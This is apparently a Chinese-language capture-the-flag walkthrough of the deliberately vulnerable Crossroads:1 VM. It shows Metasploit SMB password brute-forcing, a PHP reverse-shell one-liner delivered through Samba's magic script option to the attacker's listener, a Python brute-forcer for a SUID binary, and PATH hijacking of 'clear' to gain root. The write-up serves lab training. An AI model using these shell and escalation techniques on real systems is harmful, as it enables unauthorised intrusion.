VulnHub:CROSSROADS:1
crossroads:1为3月份vulnhub和HackMyVM刚刚上架的一台靶机,模拟了一台带有漏洞的医疗网站web服务器,要攻破这台机器,我们的最终目标是拿下它的root权限,靶机涉及到的漏洞点有smb魔术脚本、本地suid文件提权、环境变量提权等。靶机比较新,斗胆下载来做了一下,笔者技术菜,下笔诚惶诚恐,若有什么遗漏点或者技术不到位之处还请各位师傅斧正。
网络结构:
环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24
网络由攻击机kali、靶机Crossroads:1组成
靶机ip:192.168.1.151
kali linux ip:192.168.1.137
靶机获取:https://download.vulnhub.com/crossroads/crossroads_vh.ova
https://downloads.hackmyvm.eu/crossroads.zip
信息收集:
主机发现:
nmap -sP 192.168.1.0/24
如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.151
端口服务扫描:
nmap -p 1-65535 -A 192.168.1.151 -sV -T4
如图,靶机除开放80端口外,还开放了139和445端口,开放samba服务
访问samba服务,不允许匿名访问,先搁置
目录爆破:
python dirsearch.py -u 192.168.1.151
仅扫描到两个可访问页面,其中index.html为网站主页,查看各链接跳转后,仅发现一个注册、登录页面,为普通用户登录,未发现后台登录页面
robots.txt给我们提示了一张图片crossroads.png
使用enum4linux对靶机进行信息收集
enum4linux 192.168.1.151 -A
在收集结果中,提供了部分用户信息给我们,用户名albert
漏洞挖掘及利用:
至此,在web服务中并没有看到什么后台管理页面,也未发现有明显的web漏洞点可供利用,需要从smb寻找思路
在之前的信息收集中,我们获得了一个用户名albert,这里可以尝试使用该用户名对smb服务进行爆破
使用msf的smb爆破模块,设置好地址、线程、字典等信息
```
(rootkali)-[~]
msfconsole
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 192.168.1.151
msf6 auxiliary(scanner/smb/smb_login) > set threads 100
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > set VERBOSE false
```
show options
运行msf,成功拿到albert的密码bradley1
连接smb服务,进入smbshare目录
在图中我们可以看到一个smb.conf文件,查看此文件,发现是smb的配置文件
如上图,我们可以看到magic script选项被设置了文件名smbscript.sh,magic script选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件
利用这个特性,这里我们可以自己写一个smbscript.sh文件,利用smb上传,获取反弹shell
php -r '$sock=fsockopen("192.168.1.137",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
kali端监听端口
使用smbclient上传文件
smbclient //192.168.1.151/smbshare/ -U albert
put smbscript.sh
反弹成功
权限提升:
获取一个交互式shell,如图,我们是以albert的身份登录
python -c "import pty;pty.spawn('/bin/bash');"
利用smb上传一个本地信息收集脚本LinEnum.sh
运行该脚本,将运行结果保存至a.txt
再利用smb将结果下载至本地
在脚本收集的信息中,我们可以看到在设置了suid的文件中有一个文件beroot,显然不是系统命令
到/home/albert目录下,运行该程序,提示我们输入root密码,结合脚本的名字beroot,这个程序应该是实现猜解root密码,且运行的时候会先进行清屏,推测调用了clear命令,暂时还不知道调用了什么其他的系统命令
除了这个suid文件外,暂时还没有发现什么其他可疑的漏洞点,系统内核的版本也相当高,为Debian 4.19.160-2,查不到什么系统漏洞。
此时还剩下一张图片我们没有使用,就是之前在robots.txt看到的crossroads.png,这个文件就存放在/home/albert目录下,将其移动至/home/albert/smbshare目录后,同样利用smb服务将其下载到本地
使用binwalk查看此图片,并没有发现什么特殊信息
使用stegoveritas提取图片信息,stegoveritas是一款通用隐写术检测工具,可以提取一些常见隐写法隐藏的文件
获取链接:https://github.com/bannsec/stegoVeritas
提取结果被放置在一个result目录下,可以看到提取出来很多文件
查看第一个,是一个两千多行的字典,猜测beroot程序的密码就在此字典中
cat 1617112472.3782713-0b000cfc1c19ffccdd494adeb00c3d4e
将其内容复制进txt文件
cat 1617112472.3782713-0b000cfc1c19ffccdd494adeb00c3d4e > 1.txt
利用smb上传至靶机
此时我们需要利用此字典中的密码来测试beroot程序,手动试的话太过繁琐,这里通过编写一个脚本来代替人工
```
/usr/bin/python3
import subprocess
import os
import time
import sys
path = '/usr/bin/echo'
content = "wrong password!!"
blank = " "
executable = "beroot"
def broot():
os.system("export TERM=xterm")
with open("1.txt","r",encoding="ISO-8859-1") as file:
words = file.read().splitlines() //读取字典条目
for word in words: //遍历字典
execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable) //利用getoutput函数执行系统命令,运行beroot,并返回执行结果
print(execute)
if content not in execute:
print("[!]Password:" + word) //打印正确密码
sys.exit(0)
broot()
```
同样使用smb服务将脚本b.py上传至靶机
之后将字典1.txt和脚本b.py移至beroot程序所在的目录/home/albert,运行
python3 b.py
如上图,密码停在了#1bitch,我们手动测试一下beroot,然而此时仍然提示wrong password
我们将密码#1bitch从字典中去除,上传新字典再运行一次,这次密码停在了lemuel,且提示了我们其他信息:do ls and find root creds
我们再次手动进行测试,显示结果与脚本运行是一致的
回显信息提示我们查看当前目录,寻找creds,我们照做,可以看到当前目录下多出了一个文件rootcreds
查看此文件,给了我们一段文本,可能是root密码,看来之前用beroot测试出的并不是root密码
su登录测试,成功提权至root
换个思路:
之前提到在运行beroot程序时,会先进行清屏操作,怀疑调用了clear程序,反汇编这个程序的话,会发现这个程序并没有直接实现功能,而是调用了/root目录下的一个beroot.sh程序
而/root目录并没有给albert访问权限
这样我们只能盲猜它调用了clear命令,实际上做了清屏操作的话,大概率是调用了clear命令
我们这里可以借助环境变量来劫持命令进行提权,环境变量提权,顾名思义,使用环境变量进行提权,因为我们猜测beroot.sh运行时调用系统命令clear,而此程序又是以root身份运行,如若我们可以添加环境变量,我们就可以伪造一个clear程序添加进环境变量,beroot在调用命令时首先检索环境变量就会调用到我们伪造的程序,执行我们想要的命令,来达到提权的效果
首先伪造一个clear程序:
估计环境变量文件我们是没有权限更改的,但可以暂时更改环境变量
export PATH=/home/albert:$PATH
给clear添加权限
再次运行beroot,成功提权至root
声明 本文为译文,原文作者Etienne Champetier,原文来自http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ 前言 runc挂载地址可以通过Symlink-exchange进行交换,这导致了可…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论